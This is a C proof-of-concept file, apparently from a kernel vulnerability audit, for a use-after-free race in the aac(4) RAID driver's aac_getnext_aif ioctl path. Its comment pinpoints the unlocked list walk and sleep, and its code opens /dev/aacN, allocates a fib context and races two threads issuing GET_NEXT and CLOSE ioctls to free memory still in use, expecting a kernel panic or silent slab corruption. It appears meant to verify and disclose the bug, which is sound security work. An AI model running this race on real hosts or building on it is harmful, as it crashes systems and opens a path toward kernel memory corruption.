DF-1231 / aac_getnext_aif_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | /* * DF-1231 — aac_getnext_aif() UAF race proof-of-concept * * Bug (sys/dev/raid/aac/aac.c): * Lines 3527-3531: lookup loop * for (ctx = sc->fibctx; ctx; ctx = ctx->next) * if (agf.AdapterFibContext == ctx->unique) break; * runs WITHOUT the aac_aifq_lock. * * Lines 3536-3544: tsleep(sc->aac_aifq, ...) also WITHOUT the lock, then * on wakeup calls aac_return_aif(sc, ctx, ...) which derefs * ctx->ctx_idx / ctx->ctx_wrap (aac.c:3562, 3574-3575). * * Concurrent aac_close_aif (aac.c:3489-3512) takes the lock, unlinks the * ctx, drops the lock, and kfrees ctx. Two races: * (a) close runs between two iterations of the lookup loop -> reads * ctx->next of freed memory -> UAF. * (b) close runs while getnext is in tsleep -> on wakeup, ctx is freed * and aac_return_aif derefs ctx->ctx_idx/ctx_wrap on freed memory. * * Privilege: /dev/aacN opened by operator group (0640 perms in devfs), * so any local user in 'operator' can race these two ioctls. * * THIS GUEST: no Adaptec AAC controller in pciconf -l; no /dev/aacN node * exists; the ioctls are not reachable. PoC prints reachability status. * On a real host with an aac(4) controller, two processes racing * FSACTL_GET_NEXT_ADAPTER_FIB vs FSACTL_CLOSE_FIB_ADAPTER trigger the UAF. */ #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/types.h> #ifndef FSACTL_GET_NEXT_ADAPTER_FIB #define FSACTL_GET_NEXT_ADAPTER_FIB _IOWR('A', 0x42, void) #endif #ifndef FSACTL_CLOSE_FIB_ADAPTER #define FSACTL_CLOSE_FIB_ADAPTER _IOW('A', 0x43, uint32_t) #endif #ifndef FSACTL_OPEN_GET_ADAPTER_FIB #define FSACTL_OPEN_GET_ADAPTER_FIB _IOW('A', 0x4b, void) #endif static int g_fd = -1; static volatile int g_stop = 0; static void * getnext_thread(void *arg) { unsigned char buf[512]; /* FSACTL_GET_NEXT_ADAPTER_FIB with Wait=1 blocks in tsleep; * concurrent close in the other thread frees our ctx. */ while (!g_stop) { ioctl(g_fd, FSACTL_GET_NEXT_ADAPTER_FIB, buf); } return (NULL); } static void * close_thread(void *arg) { uint32_t ctx = (uint32_t)(uintptr_t)arg; while (!g_stop) { ioctl(g_fd, FSACTL_CLOSE_FIB_ADAPTER, &ctx); } return (NULL); } int main(void) { int fd; unsigned char buf[512]; uint32_t ctx; pthread_t th_get, th_close; const char *devs[] = {"/dev/aac0", "/dev/aac1", "/dev/aac2", "/dev/aac3"}; int i; printf("[DF-1231] aac_getnext_aif UAF race demonstrator\n"); printf("[DF-1231] Bug: getnext walks fibctx list (aac.c:3528) and tsleeps\n"); printf("[DF-1231] (aac.c:3540) WITHOUT aac_aifq_lock; close kfree()s ctx.\n\n"); fd = -1; for (i = 0; i < 4; i++) { fd = open(devs[i], O_RDWR); if (fd >= 0) { printf("[DF-1231] Opened %s -- controller present.\n", devs[i]); break; } } if (fd < 0) { printf("[DF-1231] No /dev/aacN found: %s\n", strerror(errno)); printf("[DF-1231] No Adaptec FSA RAID on guest -> ioctls not reachable.\n"); printf("[DF-1231] Source-level verification only (see VERDICT.md).\n"); return (0); } /* Allocate a fib context to race against */ if (ioctl(fd, FSACTL_OPEN_GET_ADAPTER_FIB, buf) != 0) { printf("[DF-1231] OPEN_GET_ADAPTER_FIB failed: %s\n", strerror(errno)); close(fd); return (1); } /* ctx unique is the first uint32 of the returned get_adapter_fib_ioctl */ ctx = *(uint32_t *)buf; printf("[DF-1231] Opened fib context unique=0x%x\n", ctx); g_fd = fd; pthread_create(&th_get, NULL, getnext_thread, NULL); pthread_create(&th_close, NULL, close_thread, (void *)(uintptr_t)ctx); printf("[DF-1231] Racing getnext (Wait=1) vs close for ~5s...\n"); sleep(5); g_stop = 1; pthread_cancel(th_get); pthread_cancel(th_close); pthread_join(th_get, NULL); pthread_join(th_close, NULL); printf("[DF-1231] If kernel survived, the bug did not trigger this run.\n"); printf("[DF-1231] On an unpatched kernel with adequate timing, expect:\n"); printf("[DF-1231] panic: page fault in aac_return_aif/aac_getnext_aif\n"); printf("[DF-1231] OR silent UAF (INVARIANTS-OFF) -> slab corruption.\n"); close(fd); return (0); } |